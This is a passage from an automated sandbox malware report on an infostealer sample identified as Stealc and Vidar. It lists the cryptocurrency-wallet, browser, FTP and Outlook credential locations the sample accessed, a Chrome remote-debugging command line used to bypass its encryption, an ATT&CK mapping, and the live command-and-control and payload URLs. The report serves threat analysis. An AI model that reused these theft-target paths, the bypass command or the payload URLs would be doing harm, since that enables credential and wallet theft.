Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1451214684.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1834499760.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1833210482.0000000000431000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	42%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	42%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsKKEHIEBKJK.exe	55%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpBKJK.exe-data;	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe:	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe/	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exen	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe5062	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe1392	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe506239Cd	100%	Avira URL Cloud	phishing
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403th	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exea	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.186.78	true	false	high
play.google.com	216.58.206.78	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	13.32.99.21	true	false	high
www.google.com	142.250.186.164	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
197.87.175.4.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035646760&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035647396&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035647757&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732035645029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2346E46F5BBE6A5B0188F1535AD96B1F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/common.dfd00baecca65bd549c2.js	false	high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035646763&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=54C6DB1DE9BC449EBCDB7DC6FE4E37E3&MUID=2346E46F5BBE6A5B0188F1535AD96B1F	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://c.msn.com/c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpBKJK.exe-data;	file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	false		high
http://www.broofa.com	chromecache_484.5.dr	false		high
https://ntp.msn.com/0	000003.log0.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://curl.se/docs/hsts.html	beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.16/luma/random.exe:	skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://cook-rain.sbs/	7255bf1ad0.exe, 0000001E.00000002.2699667699.00000000012B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	false		high
https://assets.msn.com	27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp.10.dr, 140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	false		high
https://curl.se/docs/alt-svc.html	beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	false		high
http://185.215.113.16/steam/random.exe1392	skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.ecosia.org/newtab/	IJKKKFCF.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.16/mine/random.exea	file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_484.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://cook-rain.sbs:443/api	7255bf1ad0.exe, 0000001E.00000002.2699667699.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets2.msn.com	140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe/	skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpN	file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpS	skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403th	beda8cb96f.exe, 0000001D.00000002.2705948069.00000000016DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	000003.log0.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://31.41.244.11/files/random.exe5062	skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exen	skotes.exe, 0000001C.00000002.2700622606.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpm	file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	FHCGCFHDHIIIDGCAAEGD.0.dr	false		high
http://.css	beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	false		high
